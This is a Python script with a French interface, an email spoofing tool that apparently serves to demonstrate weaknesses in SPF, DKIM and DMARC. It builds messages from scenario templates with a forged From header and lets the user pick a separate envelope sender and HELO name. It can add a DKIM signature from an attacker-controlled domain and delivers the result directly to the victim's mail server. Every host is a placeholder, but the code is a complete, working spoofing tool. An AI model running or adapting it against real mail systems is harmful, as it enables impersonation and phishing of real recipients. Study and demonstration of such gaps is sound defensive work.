#!/usr/bin/env python3 from email.message import EmailMessage import email.utils import importlib.resources import pathlib import re import smtplib import sys import uuid import dkim from rich.console import Console import rich.highlighter import rich.panel from rich.prompt import Confirm, Prompt import rich.text from rich.theme import Theme import spoof_templates DEFAULT_HELO = "attaquant.example" ATTACKER_DOMAIN = "attaquant.example" ATTACKER_MAIL_FROM = "usurpateur@attaquant.example" VICTIM_NAME = "Destinataire" VICTIM_DOMAIN = "destinataire.example" VICTIM_MX = "mx.destinataire.example" VICTIM_ADDRESS = f"destinataire@{VICTIM_DOMAIN}" class SMTPHighlighter(rich.highlighter.Highlighter): patterns = { 'helo': r'(?:HELO|EHLO) (?P.*)', 'mail_from': r'MAIL FROM:<(?P.*?)>', 'rcpt_to': r'RCPT TO:<(?P.*)>', 'data': r'From: (?P.* <(?P.*)>)' } def __init__(self, **kwargs): super().__init__(**kwargs) self.state = 'connect' def highlight(self, text): if pattern := SMTPHighlighter.patterns.get(self.state, None): if mobj := re.match(pattern, text.plain): for style in mobj.groupdict().keys(): start, end = mobj.start(style), mobj.end(style) text.stylize(style, start, end) custom_theme = Theme({ "banner": "bold red", "incoming": "yellow", "outgoing": "cyan", "helo": "bold sea_green1", "mail_from": "bold underline sky_blue1", "rcpt_to": "bold underline pale_violet_red1", "data_from": "bold underline medium_purple1", "data_display_name": "medium_purple1", "comment": "#777777", "failure": "bold red", "success": "green" }) console = Console(highlighter=None, theme=custom_theme) class SMTP(smtplib.SMTP): def __init__(self, **kwargs): super().__init__(**kwargs) self.highlighter = SMTPHighlighter() def trace(self, s, direction): if direction not in ['in', 'out']: raise ValueError("direction must be 'in' or 'out'") arrows = {'in': '[incoming]←[/]', 'out': '[outgoing]→[/]'} max_lines = 4 if isinstance(s, bytes): s = s.decode('utf-8') lines = [self.highlighter(rich.text.Text(line)) for line in s.splitlines()] if len(lines) > max_lines: suppressed_count = len(lines[max_lines:-1]) suppressed_text_obj = rich.text.Text(f"({suppressed_count} ") if suppressed_count > 1: suppressed_text_obj.append("lignes omises") else: suppressed_text_obj.append("ligne omise") suppressed_text_obj.append(")") suppressed_text_obj.stylize("comment") lines = lines[:max_lines] + [suppressed_text_obj] + lines[-1:] for i, l in enumerate(lines): prefix = arrows[direction] if i == 0 else " " console.print(f" {prefix} ", end=None) console.print(l) if direction == 'in': console.print() def putcmd(self, cmd, args=''): super().putcmd(cmd.upper(), args) def send(self, s): self.trace(s, 'out') super().send(s) def getreply(self): errcode, errmsg = super().getreply() lines = errmsg.decode('us-ascii').splitlines() lines = [ f"{errcode}{' ' if i == len(lines) - 1 else '-'}{line}" for i, line in enumerate(lines) ] self.trace('\n'.join(lines), 'in') return errcode, errmsg def connect(self, *args, **kwargs): console.print(" * Connexion établie au serveur", style="comment") return super().connect(*args, **kwargs) def ehlo(self, *args, **kwargs): self.highlighter.state = 'helo' return super().ehlo(*args, **kwargs) def mail(self, *args, **kwargs): self.highlighter.state = 'mail_from' return super().mail(*args, **kwargs) def rcpt(self, *args, **kwargs): self.highlighter.state = 'rcpt_to' return super().rcpt(*args, **kwargs) def data(self, *args): self.highlighter.state = 'data' return super().data(*args) def ask_helo(): response = Prompt.ask("Nom d’hôte dans le [helo]HELO[/helo]", console=console, default=DEFAULT_HELO) return response def ask_mail_from(default_mail_from): console.print("Adresse RFC5321.MailFrom :") console.print(f" 1. Utiliser le même que le RFC5322.From ([b]{default_mail_from}[/])") console.print(f" 2. Remplacer par une adresse qu’on maîtrise ([b]{ATTACKER_MAIL_FROM}[/])") console.print() choices = { 1: default_mail_from, 2: ATTACKER_MAIL_FROM } while True: try: response = Prompt.ask("Choix", console=console) result = choices[int(response)] console.print(f" ⇒ [mail_from]{result}[/]") return result except ValueError: pass except IndexError: pass def add_dkim_signature(email): if Confirm.ask("Ajouter une signature DKIM ?", choices="on", default=False): email_bytes = email.as_string().encode('utf-8') selector = Prompt.ask("Sélecteur") private_key = pathlib.Path(f"{selector}.private").read_bytes() selector = selector.encode('ascii') domain = Prompt.ask("Domaine", default=ATTACKER_DOMAIN).encode('ascii') signature_line = dkim.dkim_sign(email_bytes, selector, domain, private_key).decode('ascii') signature = re.match("^DKIM-Signature: (.*)\r\n", signature_line, re.DOTALL).group(1) console.print(" ⇒ Signature DKIM ajoutée") email['DKIM-Signature'] = signature else: console.print(" ⇒ Pas de signature DKIM") return email def generate_email(template): msg = template.msg msg['To'] = f"{VICTIM_NAME} <{VICTIM_ADDRESS}>" msg['Date'] = email.utils.formatdate() msg['Message-ID'] = f"{uuid.uuid4()}@{DEFAULT_HELO}" if not msg['Content-Type']: msg['Content-Type'] = "text/plain; charset=utf-8" return msg def ask_template(): templates = spoof_templates.spoof_templates() console.print("[bold]Sélectionner un scénario :[/]") for i, template in enumerate(templates): console.print(f"{i + 1:4}. {template.nice_name}") console.print() while True: try: response = Prompt.ask("Choix") result = templates[int(response) - 1] console.print(f" ⇒ [bold]{result.nice_name}[/]") console.print() return result except ValueError: pass except IndexError: pass def send_email(helo, envelope_from, email): data = email.as_string().encode('utf-8') try: with SMTP(local_hostname=helo) as smtp: smtp.connect(VICTIM_MX) smtp.sendmail(envelope_from, VICTIM_ADDRESS, data) except smtplib.SMTPException: console.print(" [failure]✘[/] Message [failure]rejeté[/] par le serveur SMTP") except: raise else: console.print(" [success]✔[/] Message [success]accepté[/] par le serveur SMTP") def main(): try: console.print( rich.panel.Panel( "🕱 Outil d’usurpation d’identité de courriel 🕱", style="banner", width=80)) console.print() template = ask_template() display_name, rfc5322from = re.match('(.*) <(.*)>', template.msg['From']).groups() console.print(f"Adresse RFC5322.From (tirée du scénario):") console.print(f" ⇒ [data_display_name]{display_name} <[data_from]{rfc5322from}[/data_from]>[/]") console.print() envelope_from = ask_mail_from(rfc5322from) console.print() helo = ask_helo() console.print() email = generate_email(template) signed_email = add_dkim_signature(email) send_email(helo, envelope_from, signed_email) except KeyboardInterrupt: console.print() pass except: raise if __name__ == '__main__': main()